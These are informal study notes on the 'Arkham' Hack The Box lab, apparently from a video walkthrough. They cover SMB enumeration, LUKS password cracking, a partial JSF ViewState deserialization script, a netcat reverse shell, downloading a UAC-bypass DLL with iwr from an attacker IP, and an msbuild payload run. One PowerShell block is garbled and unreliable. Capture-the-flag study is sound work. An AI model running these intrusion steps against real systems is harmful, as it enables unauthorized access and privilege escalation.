Win: Arkham

pyDes manual+ faces

```
going to 10.10.10.130:8080
hit subscription
we see a parameter sent
intercept with burp
when u find a java object sent --> search google for serialization
search google for java serialized object magic bytes --> rOOAB and 0xACED
smbmap -H 10.10.10.130
                                --> didnot work
smbmap -H 10.10.10.130 -u anonymous --> worked
smbmap -H 10.10.10.130 -u anonymous -r depth 5 --> request with 5 sub folders
smbclient -N //10.10.10.130/batshare
smbclient -U anonymous //10.10.10.130/batshare
>get appserver.zip
we get a linux image to decrypt
file backup.img
cryptsetup luksDump backup.img
dd if=backup.img of=arkham-luks bs=512 count=4097
                                                                 --> we get luks header
and we try to hack it
hashcat --example-hashes | grep LUKS
hashcat -m 14600 arkham-luks rockyou.txt
password = batmanforever
cryptsetup luksOpen backup.img arkham
Is /dev/mapper
                     --> find it here
mount /dev/mapper/arkham /mnt
inside /mnt/Mask/tomcat-stuff/web.xml.bak
we get myfaces.secret servlet secret and sha1 hash algorithm
now decrypt java serliazied object with this secret and algorithm
we make python script exploit.py
google it --> faces uses DES
pip3 install pyDes
import pyDes, hmac
from base64 import base64encode, base64decode
from hashlib import sha1
def decrypt_view_state( view_state):
     key = base64decode('<secret>')
     obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5) --> need to read
```

windows powershell su equivalent command execution

```
PS C:\Users\Alfred> $pass = cOnvertTo-SecureString 'Zx^#QZX+T!123' -AsPlainText -Force $pass = cOnvertTo-SecureString 'Zx^#QZX+T!123' -AsPlainText -Force PS C:\Users\Alfred> $pass $pass $pass $ystem.Security.SecureString PS C:\Users\Alfred> $cred = New-Object System.Management.Automation.PSCredential("batman",$pass) $cred = New-Object System.Management.Automation.PSCredential("batman",$pass) PS C:\Users\Alfred> hostname hostname hostname ARKHAM PS C:\Users\Alfred> Invoke-Command -Computer ARKHAM -ScriptBlock {\pinkman} \pmode \text{\pinkman} \text{\pin
```

Downloading nc and using it to get shell

```
root@htb:~/htb/boxes/arkham# rlwrap nc -lvnp 9001
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.130.
Ncat: Connection from 10.10.10.130:49704.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Batman\Documents> ls
ls
   Directory: C:\Users\Batman\Documents
Mode
                    LastWriteTime
                                          Length Name
----
               8/9/2019 11:29 PM
-a---
                                           45272 nc.exe
                                              58 tomcat.bat
-a---
               2/2/2019 10:23 AM
PS C:\Users\Batman\Documents>
```

Some command to see privesc

gci -recurs . | select fullname systeminfo (New-Object Net.WebClient) net localgroup administrators

although we are in administrator group we dont have all privileges becaus of uac (user access control)

to bypass (ippsec doesnt know why this works) net use Z: \\127.0.0.1\\c\$ z: cd users/administator

another way is using a session under interactive process because most uac work on process with gui

go to github hfiref0x/UACME he chose egre55 uac bypass

create this dll file

to send it to the windows machine (wget equivalent)

```
PS C:\Users> cd batman
cd batman
PS C:\Users\batman> iwr -uri http://10.10.14.3/srrstr.dll -outfile srrstr.dll
iwr -uri http://10.10.14.3/srrstr.dll -outfile srrstr.dll
PS C:\Users\batman>
[HTB-0] 0:openvpn 1:ssh 2:ALFREDZ 3:BATMAN* 4:GreatSCT 5:bash-
```

Download github GreatSCT and run its setup generate a tcp_reverse payload and load msfconsole with it and send it to the target and run it

view at time= 01:09:00

```
-a---- 9/15/2018 12:43 PM 474 XPThemes.manifest
-a---- 9/15/2018 12:44 PM 67728 XsdBuildTask.dll

PS C:\Users\batman> cmd /c c:\windows\microsoft.net\framework64\v4.0.30319\msbuild.exe payload.xml
```

keep migrating to processes that has id 1 until successfull

this becomes complicated so u can watch it again later after u become better